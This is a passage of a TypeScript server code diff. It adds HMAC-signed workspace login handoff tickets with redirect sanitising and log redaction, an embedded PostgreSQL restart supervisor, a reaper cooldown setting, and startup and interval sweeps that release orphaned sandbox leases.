+  return parsed.origin;
+}
+
+/**
+ * Reduce a caller-supplied landing target to a safe same-origin path.
+ *
+ * Anything absolute, protocol-relative, or backslash-escaped collapses to `/`.
+ * A handoff must never double as an open redirect.
+ */
+export function sanitizeWorkspaceHandoffRedirectPath(value: string | null | undefined): string {
+  const trimmed = value?.trim();
+  if (!trimmed) return "/";
+  if (!trimmed.startsWith("/")) return "/";
+  // `//host` and `/\host` are both browser-recognized protocol-relative forms.
+  if (trimmed.startsWith("//") || trimmed.startsWith("/\\")) return "/";
+  // Control characters and raw whitespace can split a `Location` header.
+  if (/[\u0000-\u0020\u007f]/.test(trimmed)) return "/";
+  return trimmed;
+}
+
+/**
+ * Derive the per-workspace signing key handed to one guest instance.
+ *
+ * Domain-separated from every other use of the root secret and bound to both
+ * identities, so a key only ever validates tickets for the exact workspace it
+ * was issued to.
+ */
+export function deriveWorkspaceHandoffKey(input: {
+  rootSecret: string;
+  instanceId: string;
+  executionWorkspaceId: string;
+}): string {
+  return createHmac("sha256", input.rootSecret)
+    .update(`paperclip.workspace-login-handoff.${WORKSPACE_HANDOFF_TICKET_VERSION}\n`)
+    .update(`${input.instanceId}\n`)
+    .update(`${input.executionWorkspaceId}`)
+    .digest("hex");
+}
+
+/**
+ * Derive the bearer token the control plane presents to read a guest's
+ * protected readiness. Separate derivation from {@link deriveWorkspaceHandoffKey}
+ * so a probe token that leaks through an HTTP client log cannot sign tickets.
+ */
+export function deriveWorkspaceReadinessToken(input: {
+  rootSecret: string;
+  instanceId: string;
+  executionWorkspaceId: string;
+}): string {
+  return createHmac("sha256", input.rootSecret)
+    .update(`paperclip.workspace-readiness-probe.${WORKSPACE_HANDOFF_TICKET_VERSION}\n`)
+    .update(`${input.instanceId}\n`)
+    .update(`${input.executionWorkspaceId}`)
+    .digest("hex");
+}
+
+/**
+ * Root secret for handoff key derivation, on the control-plane side only.
+ *
+ * A dedicated `PAPERCLIP_WORKSPACE_HANDOFF_SECRET` is preferred. When it is
+ * absent we derive dedicated key material from the instance's existing signing
+ * secret rather than disabling the feature: the alternative is that every
+ * already-deployed instance silently falls back to "remember the cloned
+ * password", which is the defect this work exists to remove. The derivation is
+ * one-way and domain-separated, so the handoff key is never equal to — and
+ * cannot be used to recover — the secret it came from.
+ */
+export function resolveWorkspaceHandoffRootSecret(
+  env: NodeJS.ProcessEnv = process.env,
+): { secret: string; source: "dedicated" | "derived" } | null {
+  const dedicated = env[HANDOFF_ROOT_SECRET_ENV]?.trim();
+  if (dedicated) return { secret: dedicated, source: "dedicated" };
+
+  const fallback = env.BETTER_AUTH_SECRET?.trim() || env.PAPERCLIP_AGENT_JWT_SECRET?.trim();
+  if (!fallback) return null;
+  return {
+    secret: createHmac("sha256", fallback)
+      .update(`paperclip.workspace-login-handoff.root.${WORKSPACE_HANDOFF_TICKET_VERSION}`)
+      .digest("hex"),
+    source: "derived",
+  };
+}
+
+/** The verification key injected into this (guest) process, when present. */
+export function resolveWorkspaceHandoffLocalKey(env: NodeJS.ProcessEnv = process.env): string | null {
+  return env[HANDOFF_KEY_ENV]?.trim() || null;
+}
+
+/** The readiness-probe token injected into this (guest) process, when present. */
+export function resolveWorkspaceReadinessLocalToken(env: NodeJS.ProcessEnv = process.env): string | null {
+  return env[READINESS_TOKEN_ENV]?.trim() || null;
+}
+
+/** The execution workspace this (guest) process was provisioned for. */
+export function resolveWorkspaceHandoffLocalWorkspaceId(env: NodeJS.ProcessEnv = process.env): string | null {
+  return env[EXECUTION_WORKSPACE_ID_ENV]?.trim() || null;
+}
+
+/** The company whose board this (guest) workspace represents. */
+export function resolveWorkspaceHandoffLocalCompanyId(env: NodeJS.ProcessEnv = process.env): string | null {
+  return env[EXECUTION_WORKSPACE_COMPANY_ID_ENV]?.trim() || null;
+}
+
+export function issueWorkspaceHandoffTicket(input: {
+  key: string;
+  userId: string;
+  email: string;
+  executionWorkspaceId: string;
+  companyId: string;
+  instanceId: string;
+  origin: string;
+  issuerInstanceId: string;
+  next?: string | null;
+  ttlSeconds?: number;
+  now?: Date;
+  nonce?: string;
+}): { ticket: string; payload: WorkspaceHandoffTicketPayload } {
+  const origin = normalizeWorkspaceHandoffOrigin(input.origin);
+  if (!origin) {
+    throw new Error("Workspace login handoff needs an absolute http(s) target origin");
+  }
+  const issuedAtMs = (input.now ?? new Date()).getTime();
+  const issuedAt = Math.floor(issuedAtMs / 1000);
+  const ttlSeconds = Math.max(1, Math.floor(input.ttlSeconds ?? WORKSPACE_HANDOFF_TICKET_TTL_SECONDS));
+  const payload: WorkspaceHandoffTicketPayload = {
+    v: WORKSPACE_HANDOFF_TICKET_VERSION,
+    jti: input.nonce ?? randomBytes(18).toString("base64url"),
+    sub: input.userId,
+    email: input.email,
+    ws: input.executionWorkspaceId,
+    cid: input.companyId,
+    iid: input.instanceId,
+    aud: origin,
+    iss: input.issuerInstanceId,
+    iat: issuedAt,
+    exp: issuedAt + ttlSeconds,
+    next: sanitizeWorkspaceHandoffRedirectPath(input.next),
+  };
+  const encodedPayload = base64UrlEncode(Buffer.from(JSON.stringify(payload), "utf8"));
+  const signedMessage = `${WORKSPACE_HANDOFF_TICKET_VERSION}.${encodedPayload}`;
+  const signature = base64UrlEncode(sign(input.key, signedMessage));
+  return { ticket: `${signedMessage}.${signature}`, payload };
+}
+
+/** Absolute exchange URL for a minted ticket. */
+export function buildWorkspaceHandoffExchangeUrl(input: { origin: string; ticket: string }): string {
+  const origin = normalizeWorkspaceHandoffOrigin(input.origin);
+  if (!origin) throw new Error("Workspace login handoff needs an absolute http(s) target origin");
+  const url = new URL(`/api/auth${WORKSPACE_HANDOFF_EXCHANGE_PATH}`, origin);
+  url.searchParams.set(WORKSPACE_HANDOFF_TICKET_QUERY_PARAM, input.ticket);
+  return url.toString();
+}
+
+function isPayloadShape(value: unknown): value is WorkspaceHandoffTicketPayload {
+  if (!value || typeof value !== "object") return false;
+  const candidate = value as Record<string, unknown>;
+  return (
+    typeof candidate.jti === "string" && candidate.jti.length > 0
+    && typeof candidate.sub === "string" && candidate.sub.length > 0
+    && typeof candidate.email === "string" && candidate.email.length > 0
+    && typeof candidate.ws === "string" && candidate.ws.length > 0
+    && typeof candidate.cid === "string" && candidate.cid.length > 0
+    && typeof candidate.iid === "string" && candidate.iid.length > 0
+    && typeof candidate.aud === "string" && candidate.aud.length > 0
+    && typeof candidate.iss === "string"
+    && Number.isFinite(candidate.iat)
+    && Number.isFinite(candidate.exp)
+    && typeof candidate.next === "string"
+  );
+}
+
+/**
+ * Verify a ticket against this workspace's own key and identity.
+ *
+ * `expected` must come from persisted configuration. Passing header-derived
+ * values would reintroduce exactly the spoofing path this design closes.
+ */
+export function verifyWorkspaceHandoffTicket(input: {
+  ticket: string | null | undefined;
+  key: string | null | undefined;
+  expected: {
+    instanceId: string | null;
+    executionWorkspaceId: string | null;
+    companyId: string | null;
+    origin: string | null;
+  };
+  now?: Date;
+  clockSkewSeconds?: number;
+}): WorkspaceHandoffVerificationResult {
+  const key = input.key?.trim();
+  if (!key) return { ok: false, reason: "not_configured" };
+
+  const expectedOrigin = normalizeWorkspaceHandoffOrigin(input.expected.origin);
+  const expectedInstanceId = input.expected.instanceId?.trim();
+  const expectedWorkspaceId = input.expected.executionWorkspaceId?.trim();
+  const expectedCompanyId = input.expected.companyId?.trim();
+  // Fail closed on unresolved local identity: without it the checks below would
+  // degrade into "any validly signed ticket wins".
+  if (!expectedOrigin) return { ok: false, reason: "origin_mismatch" };
+  if (!expectedInstanceId) return { ok: false, reason: "instance_mismatch" };
+  if (!expectedWorkspaceId) return { ok: false, reason: "workspace_mismatch" };
+  if (!expectedCompanyId) return { ok: false, reason: "company_mismatch" };
+
+  const ticket = input.ticket?.trim();
+  if (!ticket) return { ok: false, reason: "malformed" };
+  const segments = ticket.split(".");
+  if (segments.length !== 3) return { ok: false, reason: "malformed" };
+  const [version, encodedPayload, encodedSignature] = segments as [string, string, string];
+  if (version !== WORKSPACE_HANDOFF_TICKET_VERSION) return { ok: false, reason: "unsupported_version" };
+
+  const providedSignature = base64UrlDecode(encodedSignature);
+  if (!providedSignature) return { ok: false, reason: "malformed" };
+  const expectedSignature = sign(key, `${version}.${encodedPayload}`);
+  // Signature first: never parse attacker-controlled JSON we have not authenticated.
+  if (!constantTimeMatches(expectedSignature, providedSignature)) return { ok: false, reason: "bad_signature" };
+
+  const decodedPayload = base64UrlDecode(encodedPayload);
+  if (!decodedPayload) return { ok: false, reason: "malformed" };
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(decodedPayload.toString("utf8"));
+  } catch {
+    return { ok: false, reason: "malformed" };
+  }
+  if (!isPayloadShape(parsed)) return { ok: false, reason: "malformed" };
+  if (parsed.v !== WORKSPACE_HANDOFF_TICKET_VERSION) return { ok: false, reason: "unsupported_version" };
+
+  const nowSeconds = Math.floor((input.now ?? new Date()).getTime() / 1000);
+  const skew = Math.max(0, Math.floor(input.clockSkewSeconds ?? WORKSPACE_HANDOFF_CLOCK_SKEW_SECONDS));
+  if (parsed.exp + skew < nowSeconds) return { ok: false, reason: "expired" };
+  if (parsed.iat - skew > nowSeconds) return { ok: false, reason: "not_yet_valid" };
+  if (parsed.exp <= parsed.iat) return { ok: false, reason: "malformed" };
+
+  if (normalizeWorkspaceHandoffOrigin(parsed.aud) !== expectedOrigin) {
+    return { ok: false, reason: "origin_mismatch" };
+  }
+  if (parsed.iid !== expectedInstanceId) return { ok: false, reason: "instance_mismatch" };
+  if (parsed.ws !== expectedWorkspaceId) return { ok: false, reason: "workspace_mismatch" };
+  if (parsed.cid !== expectedCompanyId) return { ok: false, reason: "company_mismatch" };
+
+  return {
+    ok: true,
+    payload: { ...parsed, next: sanitizeWorkspaceHandoffRedirectPath(parsed.next) },
+  };
+}
+
+/** Verification-key identifier safe to log: proves which key, reveals no key bytes. */
+export function workspaceHandoffKeyFingerprint(key: string): string {
+  return createHmac("sha256", "paperclip.workspace-login-handoff.fingerprint").update(key).digest("hex").slice(0, 12);
+}
+
+/**
+ * Strip the ticket from a URL or URL-ish string before it reaches a log sink.
+ * Applied by the request logger and by the guest's own audit records.
+ */
+export function redactWorkspaceHandoffTicket(value: string): string {
+  if (!value.includes(WORKSPACE_HANDOFF_TICKET_QUERY_PARAM)) return value;
+  return value.replace(
+    new RegExp(`([?&]${WORKSPACE_HANDOFF_TICKET_QUERY_PARAM}=)[^&#\\s]+`, "gi"),
+    "$1[redacted]",
+  );
+}
diff --git a/server/src/config.ts b/server/src/config.ts
index 90d6cbf6b14..332b9d9c898 100644
--- a/server/src/config.ts
+++ b/server/src/config.ts
@@ -69,6 +69,7 @@ export interface Config {
   databaseBackupIntervalMinutes: number;
   databaseBackupRetentionDays: number;
   databaseBackupDir: string;
+  workspaceReaperCooldownDays: number;
   serveUi: boolean;
   uiDevMiddleware: boolean;
   secretsProvider: SecretProvider;
@@ -265,6 +266,21 @@ export function loadConfig(): Config {
       fileDatabaseBackup?.dir ??
       resolveDefaultBackupDir(),
   );
+  // The terminal-workspace reaper waits this many days after an issue tree
+  // becomes terminal before it archives the workspace. A person can reopen the
+  // work inside this window. A value of 0 disables the cooldown and restores
+  // immediate reaping. A negative or non-numeric value falls back to the
+  // default. The day granularity and the default of 7 obey the
+  // PAPERCLIP_DB_BACKUP_RETENTION_DAYS precedent above.
+  const workspaceReaperCooldownDaysEnv =
+    process.env.PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS?.trim();
+  const workspaceReaperCooldownDaysRaw = Number(workspaceReaperCooldownDaysEnv);
+  const workspaceReaperCooldownDays =
+    workspaceReaperCooldownDaysEnv
+      && Number.isFinite(workspaceReaperCooldownDaysRaw)
+      && workspaceReaperCooldownDaysRaw >= 0
+      ? workspaceReaperCooldownDaysRaw
+      : 7;
   const bindValidationErrors = validateConfiguredBindMode({
     deploymentMode,
     deploymentExposure,
@@ -307,6 +323,7 @@ export function loadConfig(): Config {
     databaseBackupIntervalMinutes,
     databaseBackupRetentionDays,
     databaseBackupDir,
+    workspaceReaperCooldownDays,
     serveUi:
       process.env.SERVE_UI !== undefined
         ? process.env.SERVE_UI === "true"
diff --git a/server/src/dev-runner-worktree.ts b/server/src/dev-runner-worktree.ts
index 800aa1e3158..b78e80fe70b 100644
--- a/server/src/dev-runner-worktree.ts
+++ b/server/src/dev-runner-worktree.ts
@@ -1,6 +1,7 @@
 import { existsSync, lstatSync, readFileSync } from "node:fs";
 import os from "node:os";
 import path from "node:path";
+import { hasVerifiedWorktreeSeedManifest } from "./worktree-seed-manifest.js";
 
 function parseEnvFile(contents: string): Record<string, string> {
   const entries: Record<string, string> = {};
@@ -58,6 +59,10 @@ export function resolveWorktreeEnvFilePath(rootDir: string): string {
 
 export function isWorktreeSeedPending(rootDir: string): boolean {
   const markerDir = path.resolve(rootDir, ".paperclip");
+  const manifestPath = path.resolve(markerDir, "seed-manifest.json");
+  if (existsSync(manifestPath)) {
+    return !hasVerifiedWorktreeSeedManifest(manifestPath);
+  }
   return existsSync(path.resolve(markerDir, "seed-pending"))
     && !existsSync(path.resolve(markerDir, "seed-complete"));
 }
diff --git a/server/src/embedded-postgres-supervisor.ts b/server/src/embedded-postgres-supervisor.ts
new file mode 100644
index 00000000000..399a248b0b8
--- /dev/null
+++ b/server/src/embedded-postgres-supervisor.ts
@@ -0,0 +1,92 @@
+export type EmbeddedPostgresExitListener = (code: number | null, signal: NodeJS.Signals | null) => void;
+
+export interface SupervisedEmbeddedPostgres {
+  start(): Promise<void>;
+  stop(): Promise<void>;
+  process?: { once(event: "exit", listener: EmbeddedPostgresExitListener): unknown };
+}
+
+export interface EmbeddedPostgresSupervisor {
+  current(): SupervisedEmbeddedPostgres;
+  shutdown(): Promise<void>;
+  waitForRecovery(): Promise<void>;
+}
+
+type Options = {
+  initialInstance: SupervisedEmbeddedPostgres;
+  createInstance: () => SupervisedEmbeddedPostgres;
+  beforeRestart?: (attempt: number) => Promise<void> | void;
+  restartDelaysMs?: number[];
+  delay?: (milliseconds: number) => Promise<void>;
+  onUnexpectedExit?: EmbeddedPostgresExitListener;
+  onRestartAttemptFailed?: (error: unknown, attempt: number) => void;
+  onRestarted?: (attempt: number) => void;
+  onRecoveryExhausted?: (error: unknown) => void;
+};
+
+const defaultDelay = (milliseconds: number) => new Promise<void>((resolve) => setTimeout(resolve, milliseconds));
+
+export function createEmbeddedPostgresSupervisor(options: Options): EmbeddedPostgresSupervisor {
+  const restartDelaysMs = options.restartDelaysMs ?? [0, 250, 1_000];
+  const wait = options.delay ?? defaultDelay;
+  let activeInstance = options.initialInstance;
+  let activeInstanceExited = false;
+  let shuttingDown = false;
+  let recoveryPromise: Promise<void> | null = null;
+
+  const recover = async () => {
+    let lastError: unknown = new Error("Embedded PostgreSQL exited unexpectedly");
+    for (let index = 0; index < restartDelaysMs.length; index += 1) {
+      if (shuttingDown) return;
+      const attempt = index + 1;
+      const delayMs = restartDelaysMs[index] ?? 0;
+      if (delayMs > 0) await wait(delayMs);
+      if (shuttingDown) return;
+      try {
+        await options.beforeRestart?.(attempt);
+        const replacement = options.createInstance();
+        await replacement.start();
+        if (shuttingDown) {
+          await replacement.stop();
+          return;
+        }
+        activeInstance = replacement;
+        activeInstanceExited = false;
+        monitor(replacement);
+        options.onRestarted?.(attempt);
+        return;
+      } catch (error) {
+        lastError = error;
+        options.onRestartAttemptFailed?.(error, attempt);
+      }
+    }
+    if (!shuttingDown) options.onRecoveryExhausted?.(lastError);
+  };
+
+  const monitor = (instance: SupervisedEmbeddedPostgres) => {
+    const child = instance.process;
+    if (!child) {
+      options.onRecoveryExhausted?.(new Error("Embedded PostgreSQL started without a child process to monitor"));
+      return;
+    }
+    child.once("exit", (code, signal) => {
+      if (activeInstance !== instance) return;
+      activeInstanceExited = true;
+      if (shuttingDown) return;
+      options.onUnexpectedExit?.(code, signal);
+      recoveryPromise = recover().finally(() => { recoveryPromise = null; });
+    });
+  };
+
+  monitor(activeInstance);
+  return {
+    current: () => activeInstance,
+    waitForRecovery: async () => { await recoveryPromise; },
+    shutdown: async () => {
+      if (shuttingDown) return;
+      shuttingDown = true;
+      await recoveryPromise;
+      if (!activeInstanceExited) await activeInstance.stop();
+    },
+  };
+}
diff --git a/server/src/errors.ts b/server/src/errors.ts
index 6abad9c7ee7..07213e99b64 100644
--- a/server/src/errors.ts
+++ b/server/src/errors.ts
@@ -21,14 +21,22 @@ export function forbidden(message = "Forbidden", details?: unknown) {
   return new HttpError(403, message, details);
 }
 
-export function notFound(message = "Not found") {
-  return new HttpError(404, message);
+export function notFound(message = "Not found", details?: unknown) {
+  return new HttpError(404, message, details);
 }
 
 export function conflict(message: string, details?: unknown) {
   return new HttpError(409, message, details);
 }
 
+export function payloadTooLarge(message: string, details?: unknown) {
+  return new HttpError(413, message, details);
+}
+
+export function unsupportedMediaType(message: string, details?: unknown) {
+  return new HttpError(415, message, details);
+}
+
 export function unprocessable(message: string, details?: unknown) {
   return new HttpError(422, message, details);
 }
diff --git a/server/src/index.ts b/server/src/index.ts
index c338564356d..6786407a65d 100644
--- a/server/src/index.ts
+++ b/server/src/index.ts
@@ -11,6 +11,7 @@ import { createInterface } from "node:readline/promises";
 import { stdin, stdout } from "node:process";
 import { pathToFileURL } from "node:url";
 import type { Request as ExpressRequest, RequestHandler } from "express";
+import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version";
 import { and, eq } from "drizzle-orm";
 import {
   createDb,
@@ -62,6 +63,7 @@ import {
   routineService,
   statusCardService,
   toolAccessService,
+  workspaceOperationService,
 } from "./services/index.js";
 import { queueIssueAssignmentWakeup } from "./services/issue-assignment-wakeup.js";
 import { createSecretProposalsService } from "./services/secret-proposals.js";
@@ -71,6 +73,7 @@ import {
   createCodexDeviceLoginReaper,
   createProductionLoginSessionReaperRuntime,
 } from "./services/codex-device-login-reaper.js";
+import { createProductionSetupTokenReaper } from "./services/setup-token-reaper.js";
 import { resolveWorktreeRunExecutionActivationState } from "./services/instance-settings.js";
 import {
   parseAdapterRegistryEnv,
@@ -90,10 +93,16 @@ import { ensureDecisionSigningSecret } from "./services/decision-signing.js";
 import { createDecisionRetentionNotifyOriginAgent, createDecisionWakeOriginAgent } from "./services/decision-wakeup.js";
 import {
   coordinateHeartbeatSchedulerShutdown,
+  finalizeServerShutdown,
   loadWithoutCoordinatedShutdownSignalHooks,
 } from "./shutdown.js";
 import { systemdNotify } from "./services/systemd-notify.js";
 import { flushInFlightRunLogMirrors } from "./services/run-log-store.js";
+import {
+  createEmbeddedPostgresSupervisor,
+  type EmbeddedPostgresSupervisor,
+  type SupervisedEmbeddedPostgres,
+} from "./embedded-postgres-supervisor.js";
 import type {
   InstanceDatabaseBackupRunResult,
   InstanceDatabaseBackupTrigger,
@@ -110,10 +119,8 @@ type BetterAuthSessionResult = {
   user: BetterAuthSessionUser | null;
 };
 
-type EmbeddedPostgresInstance = {
+type EmbeddedPostgresInstance = SupervisedEmbeddedPostgres & {
   initialise(): Promise<void>;
-  start(): Promise<void>;
-  stop(): Promise<void>;
 };
 
 type EmbeddedPostgresCtor = new (opts: {
@@ -137,6 +144,8 @@ export interface StartedServer {
 }
 
 export async function startServer(): Promise<StartedServer> {
+  warnIfUnsupportedNodeVersion(process.versions.node, (message) => logger.warn(message));
+
   // Tracing must be active (or have failed and logged) before the first DB
   // connection or the HTTP server exists — see instrumentation.ts.
   await instrumentationReady;
@@ -324,6 +333,7 @@ export async function startServer(): Promise<StartedServer> {
   let db;
   let pluginMigrationDb;
   let embeddedPostgres: EmbeddedPostgresInstance | null = null;
+  let embeddedPostgresSupervisor: EmbeddedPostgresSupervisor | null = null;
   let embeddedPostgresStartedByThisProcess = false;
   let migrationSummary: MigrationSummary = "skipped";
   let activeDatabaseConnectionString: string;
@@ -448,7 +458,7 @@ export async function startServer(): Promise<StartedServer> {
         }
         port = detectedPort;
         logger.info(`Using embedded PostgreSQL because no DATABASE_URL set (dataDir=${dataDir}, port=${port})`);
-        embeddedPostgres = new EmbeddedPostgres({
+        const createEmbeddedPostgres = () => new EmbeddedPostgres({
           databaseDir: dataDir,
           user: "paperclip",
           password: "paperclip",
@@ -458,6 +468,7 @@ export async function startServer(): Promise<StartedServer> {
           onLog: appendEmbeddedPostgresLog,
           onError: appendEmbeddedPostgresLog,
         });
+        embeddedPostgres = createEmbeddedPostgres();
 
         if (!clusterAlreadyInitialized) {
           try {
@@ -487,6 +498,36 @@ export async function startServer(): Promise<StartedServer> {
           });
         }
         embeddedPostgresStartedByThisProcess = true;
+        embeddedPostgresSupervisor = createEmbeddedPostgresSupervisor({
+          initialInstance: embeddedPostgres,
+          createInstance: createEmbeddedPostgres,
+          beforeRestart: () => {
+            const runningPostgresPid = getRunningPid();
+            if (runningPostgresPid) {
+              throw new Error(`Refusing embedded PostgreSQL recovery because the data directory reports a live process (pid=${runningPostgresPid})`);
+            }
+            if (existsSync(postmasterPidFile)) rmSync(postmasterPidFile, { force: true });
+          },
+          onUnexpectedExit: (code, signal) => logger.error(
+            { code, signal, recentLogs: logBuffer.getRecentLogs() },
+            "Embedded PostgreSQL exited unexpectedly; attempting recovery",
+          ),
+          onRestartAttemptFailed: (err, attempt) => logger.error(
+            { err, attempt, recentLogs: logBuffer.getRecentLogs() },
+            "Embedded PostgreSQL recovery attempt failed",
+          ),
+          onRestarted: (attempt) => logger.info(
+            { attempt, port },
+            "Embedded PostgreSQL recovered after unexpected exit",
+          ),
+          onRecoveryExhausted: (err) => {
+            logger.fatal(
+              { err, recentLogs: logBuffer.getRecentLogs() },
+              "Embedded PostgreSQL recovery exhausted; stopping the unhealthy server",
+            );
+            process.kill(process.pid, "SIGTERM");
+          },
+        });
       }
     }
   
@@ -816,11 +857,38 @@ export async function startServer(): Promise<StartedServer> {
     },
   });
 
+  try {
+    const result = await workspaceOperationService(db as any)
+      .reconcileStaleRuntimeControlOperations();
+    if (result.reconciled > 0) {
+      logger.warn(
+        { reconciled: result.reconciled, operationIds: result.operationIds },
+        "reconciled stale managed runtime control operations from a previous server process",
+      );
+    }
+  } catch (err) {
+    logger.error({ err }, "startup reconciliation of managed runtime control operations failed");
+  }
+
   void reconcilePersistedRuntimeServicesOnStartup(db as any)
     .then((result) => {
-      if (result.reconciled > 0) {
+      if (
+        result.reconciled > 0
+        || result.restarted > 0
+        || result.restartFailed > 0
+        || result.backfilled > 0
+      ) {
         logger.warn(
-          { reconciled: result.reconciled },
+          {
+            reconciled: result.reconciled,
+            adopted: result.adopted,
+            stopped: result.stopped,
+            // Managed HTTP-only services taken down so they come back on a
+            // verified HTTPS origin (PAP-17158).
+            httpsBackfilled: result.backfilled,
+            restarted: result.restarted,
+            restartFailed: result.restartFailed,
+          },
           "reconciled persisted runtime services from a previous server process",
         );
       }
@@ -963,6 +1031,46 @@ export async function startServer(): Promise<StartedServer> {
       }));
   };
 
+  // The retry backstop for orphan sandboxes. An acquire that rejects a
+  // foreign-company insert tears the provisioned sandbox down. If that teardown
+  // also fails, the acquire records a lease-less `pending_cleanup` lease row. No
+  // other path releases that sandbox, so the master pending-cleanup sweep retries
+  // the provider teardown and releases the orphan. The sweep runs on startup and
+  // on the scheduler interval.
+  //
+  // This backstop is independent of the heartbeat scheduler toggle. A leaked
+  // provider sandbox costs money whether or not the instance schedules
+  // heartbeats, so both the enabled and the disabled path run the sweep. A
+  // disabled heartbeat scheduler must not strand a paid sandbox forever.
+  //
+  // The master pending-cleanup sweep is the single owner of these rows. Its
+  // atomic per-attempt claim makes two overlapping sweeps safe, so the enabled
+  // path can also run the sweep from the orphaned-run reaper without a second
+  // teardown. The heartbeat scheduler owns the sweep when it is enabled; the
+  // disabled path creates its own runtime to own the same sweep.
+  // The interval sweep waits this long after a lease's last write before it
+  // retries the teardown. The window matches the orphaned-run reaper staleness,
+  // so a just-failed lease does not draw a retry on every tick. The startup
+  // sweep passes zero, so a restart retries a stranded orphan at once.
+  const ENVIRONMENT_LEASE_CLEANUP_SWEEP_BACKOFF_MS = 5 * 60 * 1000;
+  const environmentLeaseCleanupHeartbeat =
+    heartbeat ?? heartbeatService(db as any, { pluginWorkerManager });
+  const runEnvironmentLeaseCleanupSweep = (backoffMs: number) =>
+    environmentLeaseCleanupHeartbeat
+      .sweepPendingCleanupLeases({ backoffMs })
+      .then((result) => {
+        if (result.destroyed > 0 || result.capped > 0) {
+          logger.info(result, "environment lease cleanup sweep retried orphan sandbox teardowns");
+        }
+      })
+      .catch((err) => {
+        logger.error({ err }, "environment lease cleanup sweep failed");
+      });
+  const scheduleEnvironmentLeaseCleanupSweep = () => {
+    if (heartbeatSchedulerStopped) return;
+    trackHeartbeatSchedulerWork(runEnvironmentLeaseCleanupSweep(ENVIRONMENT_LEASE_CLEANUP_SWEEP_BACKOFF_MS));
+  };
+
   if (heartbeat) {
     const secretProposals = createSecretProposalsService(db as any);
     const decisionExecutor = decisionService(db as any, decisionServiceOptions);
@@ -980,7 +1088,9 @@ export async function startServer(): Promise<StartedServer> {
     const mergedPullRequestConfirmations = issueThreadInteractionService(db as any, {
       wakeup: heartbeat.wakeup,
     });
-    const terminalWorkspaces = executionWorkspaceService(db as any);
+    const terminalWorkspaces = executionWorkspaceService(db as any, {
+      workspaceReaperCooldownDays: config.workspaceReaperCooldownDays,
+    });
     const scheduleMergedPullRequestConfirmationSweep = () => {
       if (heartbeatSchedulerStopped) return;
       trackHeartbeatSchedulerWork(mergedPullRequestConfirmations
@@ -1012,7 +1122,8 @@ export async function startServer(): Promise<StartedServer> {
             result.skippedActiveRun
             + result.skippedNonTerminalTree
             + result.skippedUndelivered
-            + result.skippedRace;
+            + result.skippedRace
+            + result.skippedCooldown;
           const nowMs = Date.now();
           if (skipped > 0 && nowMs - lastTerminalWorkspaceSkipLogAt >= terminalWorkspaceSkipLogIntervalMs) {
             lastTerminalWorkspaceSkipLogAt = nowMs;
@@ -1058,6 +1169,33 @@ export async function startServer(): Promise<StartedServer> {
           logger.error({ err }, "adapter login reaper sweep failed");
         }));
     };
+
+    // The restart-safe cleanup backstop for the Claude setup-token login flow. It
+    // runs on startup and on the scheduler interval, so a sandbox lease survives a
+    // server restart and a release failure. It releases any lease whose login
+    // session is terminal, past its deadline, or already consumed.
+    const setupTokenReaper = createProductionSetupTokenReaper({
+      db: db as any,
+      environmentRuntime: environmentRuntimeService(db as any, { pluginWorkerManager }),
+      log: (line) => logger.info(line),
+    });
+    const logSetupTokenReaperResult = (
+      result: Awaited<ReturnType<typeof setupTokenReaper.sweep>>,
+    ) => {
+      if (result.released > 0 || result.failed > 0) {
+        logger.info(result, "setup-token login reaper released leases");
+      }
+    };
+    const scheduleSetupTokenReaperSweep = () => {
+      if (heartbeatSchedulerStopped) return;
+      trackHeartbeatSchedulerWork(setupTokenReaper
+        .sweep()
+        .then(logSetupTokenReaperResult)
+        .catch((err) => {
+          logger.error({ err }, "setup-token login reaper sweep failed");
+        }));
+    };
+
     const tools = toolAccessService(db as any, {
       deploymentMode: config.deploymentMode,
       deploymentExposure: config.deploymentExposure,
@@ -1195,6 +1333,19 @@ export async function startServer(): Promise<StartedServer> {
         logger.error({ err }, "startup adapter login reaper sweep failed");
       });
 
+    // Run the setup-token login reaper once at startup, so a login sandbox lease
+    // that outlived a server restart releases before timer ticks start.
+    await setupTokenReaper
+      .sweep()
+      .then(logSetupTokenReaperResult)
+      .catch((err) => {
+        logger.error({ err }, "startup setup-token login reaper sweep failed");
+      });
+
+    // Retry any orphan sandbox teardown left by a failed acquire before a server
+    // restart, so a leaked sandbox does not stay allocated across the restart.
+    await runEnvironmentLeaseCleanupSweep(0);
+
     const runRetentionSweep = async () => {
       const activeCompanies = await db.select({ id: companies.id }).from(companies).where(eq(companies.status, "active"));
       let archived = 0;
@@ -1254,6 +1405,8 @@ export async function startServer(): Promise<StartedServer> {
         scheduleMergedPullRequestConfirmationSweep();
         scheduleTerminalWorkspaceSweep();
         scheduleAdapterLoginReaperSweep();
+        scheduleSetupTokenReaperSweep();
+        scheduleEnvironmentLeaseCleanupSweep();
 
         if (heartbeatSchedulerStopped) return;
         trackHeartbeatSchedulerWork(routines
@@ -1391,8 +1544,14 @@ export async function startServer(): Promise<StartedServer> {
       }));
     });
   } else {
+    // The heartbeat scheduler is disabled, but the orphan-sandbox cleanup sweep
+    // is still required. A failed acquire can leak a paid provider sandbox, so
+    // this path retries the teardown at startup and on the interval, exactly as
+    // the enabled path does.
+    await runEnvironmentLeaseCleanupSweep(0);
     startHeartbeatSchedulerInterval(() => {
       scheduleExternalObjectRefreshSweep(new Date());
+      scheduleEnvironmentLeaseCleanupSweep();
     });
   }
   
@@ -1549,21 +1708,23 @@ export async function startServer(): Promise<StartedServer> {
         logger.error({ err, signal }, "run-log in-flight mirror flush failed");
       }
 
-      const appShutdown = (app as { locals?: { paperclipShutdown?: () => void } }).locals?.paperclipShutdown;
-      appShutdown?.();
+      const appShutdown = (app as { locals?: { paperclipShutdown?: () => Promise<void> } }).locals
+        ?.paperclipShutdown;
+      const stopEmbeddedPostgres = embeddedPostgres && embeddedPostgresStartedByThisProcess
+        ? () => embeddedPostgresSupervisor?.shutdown() ?? embeddedPostgres!.stop()
+        : null;
 
-      if (embeddedPostgres && embeddedPostgresStartedByThisProcess) {
-        logger.info({ signal }, "Stopping embedded PostgreSQL");
-        try {
-          await embeddedPostgres?.stop();
-        } catch (err) {
-          logger.error({ err }, "Failed to stop embedded PostgreSQL cleanly");
-        }
-      }
-
-      // Flush buffered OTel spans before the process goes away; without this
-      // await the exporter's final batch is dropped on exit.
-      await shutdownInstrumentation();
+      // Await the ordered application teardown before the process exits. A live
+      // setup-token login session must stop and release its sandbox lease before
+      // the database and the provider stop, so an orderly shutdown never leaves a
+      // sandbox lease or confidential login state alive past the process exit.
